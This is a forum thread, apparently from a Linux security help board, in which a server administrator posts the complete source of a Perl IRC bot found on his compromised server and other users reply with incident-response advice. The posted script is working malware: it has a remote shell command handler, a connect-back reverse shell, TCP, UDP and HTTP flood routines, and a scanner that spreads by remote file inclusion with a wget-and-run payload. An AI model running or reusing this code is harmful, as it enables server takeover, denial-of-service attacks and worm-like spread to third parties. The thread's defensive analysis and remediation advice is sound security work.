Here is the just of it:

My server (for serving Web and Email) to a number of clients has been compromised by some Perl script.

It is not a root hack as far as I can tell as it starts at RANDOM times. It doesn't start at boot time and the files are all owned by apache.

Basically, in my error logs I can see that a download is initiated to download the perl script from some other compromised server.

The hack then stops Apache and starts itself (for some reason occupying port 80 as Apache cannot then be restarted until the script is killed)
This script appears to be connecting to an IRC server and joining a room called #perl2, which I have joined and find 400 odd invisible users in a channel with one operator - perhaps the attacker)

The perl script appears to be launching itself at random times. When I kill it I can start apache again and everything is fine for a few hours until it happens again.

The perl script is initiated with the fake name of httpds.
SIDE QUESTION: What is the ps command to see the FULL PATH of where this perl script is and from what directory it is being called?

Contents of this script is as follows:

# ! / usr/ bin/ perl

use IO::Socket;
srand;
my $bPs = 'httpds';
#my $aMaster = 'Clx';
my $aHost = 'white@abuse.gov';
my $sServer = 's.bl4cklist.net';
my $sPort = '10001';
my $sTimeOut = '300';
my $bChan = '#perl2';

my $bNickLen = '7';
chomp (my $bNick = `whoami`);
chomp (my $bIrcName = `whoami`);
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';

open(LOCK, '>/tmp/sess_f6wtx4es3wedxwa213s1x1ws1e32sx1') or die;
unless(flock(LOCK, 4 | 2)) { die; }

if(fork) { exit; }
$0 = $bPs;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';

package irc;
use IO::Select;

our $irc_socket;
our $irc_select = new IO::Select;

my $cur_nick;

sub raw { print $irc_socket "$_[0]\n"; }

sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}

sub init {

my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}

sub loop {
my $time_out = time;

for(; {
my @handles = $irc_select->can_read(1);

if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }

next unless(@handles);

foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);

foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;

sub bcmd {
my @line = split(/ /, $_[0]);

my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
unless($Mask eq $aHost) { return; }

my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }

my $To = shift(@line);

$" = ' '; $line[0] =~ s/://;my $Text = "@line";

if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}

if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }



return;
}

if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {

if(!fork) {

if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }

if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }

if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }

if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }

if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }

if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }

if ($2 =~ /^bov\s+(.+)/) { &bsh($To, $1); exit; }

if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}

exit;
}
return;
}

if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}

sub bsh {
my $to = $_[0];
my $cmd = $_[1];

if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }

my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}

sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}

sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}

sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;

open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");

print "elxbot's connectback backdoor\n";
system('/bin/sh');

close(STDIN);
close(STDOUT);
close(STDERR);
}

package spread;

sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");

our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;

my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
my $rfi = '';
my $bLoc = 't';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";

$cmds =~ s/ /%20/g;

while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();

foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }

if($dup eq $host) { next; } $dup = "$host";

$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';

my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}

sub google() {

my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);

my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');

my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }

my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";

my @lst=();
#irc::raw("privmsg #debug EBUG only test googling: ".$query."");
my $page = http_query($query);

while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}

sub http_query {

my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';

$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;

if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}

package flood;
use POSIX;
use Socket;

our $s_time;

sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");

$s_time = time;
my @SOCKET;

while ($_[3] > (time - $s_time)) {

for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}

for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}

for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}

irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}

sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");

$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);

while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);

irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}

sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");

$s_time = time;
my $querys = 0;

while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}

irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}

while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
Edit/Delete Message

Any help would be greatly appreciated.

Chris

Maybe this will help:

There are probably a couple of steps to take immediately. First, isolate this machine from the Internet. If you can't pull the network cable then you should enable your firewall so that only SSH is allowed and only then from an IP address you trust. You then need to give us a more detailed description of your rig, in particular you need to give us the distro you're using, the version of Apache and what sort of sites it is hosting (name and version). By chance do you have something like Aide, Tripwire or Samhain installed?

I would then spend some quality time with your log files looking for things that could indicate when the compromise occurred. Furthermore a good idea would be to work through the CERT checklist.

Basically, the way this forum operates is to try and get you to detail the facts of the situation. That allows you to determine what happened and when so when you do get to the point where you should start remedying the situation, you'll have a good idea of how to prevent this one from happening again.

As an aside, these situation typically attract a lot of "You need to do foo, then bar" which frequently have no bearing on the situation. The only way we can accurately identify how this happened is if you can provide us with the facts. The script you posted is interesting, but a symptom of a larger problem.

Thanks. I can appreciate all of that..

Here is more information:

It's a Quad Core Xeon Machine with 4GB RAM and 2 x 250GB Sata drives in no RAID. The server is hooked up to my hosts network via 1000mbit ethernet. Now that was probably not what you were looking for :P so....

The box hosts various web and mail services for a bunch of end users. In addition, we also offer ShoutCast hosting services so there are a few daemons running there too. We offer the DirectAdmin control panel (I dont like control panels, but DA really seems to leave your config files in the most understandable and structured out of all of the CP's we tried.

It's running CentOS 5 32bit and the other versions as follows:

Apache: 2.2.14
Perl: 5.8.8
SpamAssassin: 3.2.5
Exim 4.69 (as I recall)
OpenSSL: Updated to latest stable as of today
OpenSSH: Updated to latest stable as of today

I hope that I am not leaving out anything important?

Chris

Thanks, that is a good start......

This raises a bunch of questions you'll need to look into. First off, does the existence of these end users mean that you can't isolate the box from the internet? Second, do you have an idea of what web services are being run by the end users. Those can introduce a wide variety of exploitable avenues, particularly if any of them are PHP applications. Do you have control over the mail servers?

Can you say anything about the state of patching or the procedures for keeping the box current? You say your OpenSSH and SSL are the latest stable "as of today". Does that mean these were updated after the intrusion?

As I said before, some quality time with the logs is probably important. You said that you were alerted to this via the error logs. If you can find out how far back these downloads go, that would give you a rough idea of when the server was compromised and you use that as a guide for looking in system logs.

1 members found this post helpful.

As Hangdog said if you can disconnect it from the network please do so. If you cannot then enable the firewall for everything that you can. Also from looking at the script. If you have to leave it online one thing you may want to do is create an empty lock file to keep if from running as you run through the cert guide.

If you read through the script you find this line
so if we create a file in tmp with the sess_***** then it should stop it from running again.

touch /tmp/sess_f6wtx4es3wedxwa213s1x1ws1e32sx1
and put an immutable flag on it so it can not be deleted without some knowledge first
chattr +i /tmp/sess_f6wtx4es3wedxwa213s1x1ws1e32sx1
** This is only if you can not take it offline and must leave it online.


The bad thing about apache is the fact that if the permissions on the directory are wrong for the config file is setup with some relaxed security options then it is fully capable of running scripts like perl without a vulnerability being present on the system.

1 members found this post helpful.

I agree with the suggested measures from Hangdog42 and slimm609.

The sooner you can go through the CERT checklist and provide us with any pertinent information, the better we can assist you.